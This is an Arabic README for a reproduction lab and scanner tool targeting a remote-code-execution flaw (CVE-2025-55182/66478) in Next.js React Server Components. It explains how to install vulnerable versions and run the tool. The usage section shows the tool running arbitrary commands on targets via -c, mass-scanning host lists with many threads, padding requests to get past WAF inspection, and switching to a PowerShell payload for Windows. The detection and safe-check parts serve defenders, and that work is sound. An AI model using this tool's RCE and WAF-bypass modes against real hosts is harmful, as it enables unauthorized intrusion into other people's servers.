
بيئة إعادة إنتاج CVE-2025-55182 وPoC لصدى RCE
| المكوّن | الإصدار الموصى به لإعادة الإنتاج | نطاق الإصدارات المعرضة للخطر |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) وما فوق |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 أو 19.2.0 | من 19.0.0 إلى 19.2.0 |
| RSC Bundler | react-server-dom-webpack | من 19.0.0 إلى 19.2.0 |
فرض تثبيت إصدار قديم
cd cve-2025-55182-target
npm install --force
التحقق من إصدارات التبعيات
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
طالما أن قائمة التبعيات العليا تعرض [email protected] و [email protected]، تكون البيئة قد تم تثبيتها بنجاح على الحالة المعرضة للخطر، ويمكن تجاهل التحذيرات ورموز الأخطاء هنا.
البناء:
npm run build
التشغيل:
npm start
سيعمل الخادم على http://localhost:3000. اكتمل إعداد البيئة، ويمكنك بدء التحقق من الثغرة.
اكتشاف الثغرة / الفحص:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


أداة سطر أوامر للكشف عن CVE-2025-55182 وCVE-2025-66478 في تطبيقات Next.js التي تستخدم React Server Components.
للاطلاع على التفاصيل التقنية حول الثغرة ومنهجية الكشف، راجع منشور مدونتنا: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
افتراضيًا، يرسل الماسح طلب POST متعدد الأجزاء مصممًا بعناية يحتوي على حمولة إثبات مفهوم RCE تنفذ عملية حسابية حتمية (41*271 = 11111). تعيد المضيفات المعرضة للخطر النتيجة في ترويسة الاستجابة X-Action-Redirect بالشكل /login?a=11111.
يختبر الماسح المسار الجذر أولاً. إذا لم يكن الهدف معرضًا للخطر، فإنه يتبع عمليات إعادة التوجيه على نفس المضيف (مثل / إلى /en/) ويختبر وجهة إعادة التوجيه. لا يتم اتباع عمليات إعادة التوجيه عبر النطاقات.
تستخدم علامة --safe-check طريقة كشف بديلة تعتمد على مؤشرات القناة الجانبية (رمز حالة 500 مع ملخص خطأ محدد) دون تنفيذ أي كود على الهدف. استخدم هذا الوضع عندما لا يكون تنفيذ RCE مرغوبًا.
تضيف علامة --waf-bypass بيانات عشوائية في بداية جسم طلب multipart. يمكن أن يساعد ذلك في تجاوز فحص محتوى WAF الذي يحلل الجزء الأول فقط من أجسام الطلبات. الحجم الافتراضي هو 128 كيلوبايت، ويمكن ضبطه عبر --waf-bypass-size. عند تمكين تجاوز WAF، يتم زيادة المهلة تلقائيًا إلى 20 ثانية (ما لم يتم ضبطها صراحةً).
تعمل علامة --windows على تبديل الحمولة من قشرة يونكس (echo $((41*271))) إلى PowerShell (powershell -c "41*271") للأهداف التي تعمل على ويندوز.
pip install -r requirements.txt
فحص مضيف واحد:
python3 scanner.py -u https://example.com
فحص قائمة بالمضيفين:
python3 scanner.py -l hosts.txt
الفحص بعدة خيوط وحفظ النتائج:
python3 scanner.py -l hosts.txt -t 20 -o results.json
الفحص بترويسات مخصصة:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
استخدام كشف القناة الجانبية الآمن:
python3 scanner.py -u https://example.com --safe-check
فحص أهداف ويندوز:
python3 scanner.py -u https://example.com --windows
الفحص مع تجاوز WAF:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
تم الكشف عن إثبات المفهوم RCE في الأصل بواسطة @maple3142 -- نحن ممتنون جدًا لعملهم في نشر إثبات مفهوم يعمل.
تم بناء هذه الأداة في الأصل كطريقة آمنة لاكتشاف RCE. لا تزال هذه الوظيفة متاحة عبر --safe-check، وضع "الاكتشاف الآمن".
تتم طباعة النتائج في الطرفية. عند استخدام -o، يتم حفظ المضيفات المعرضة للخطر في ملف JSON يحتوي على طلب HTTP الكامل والاستجابة للتحقق.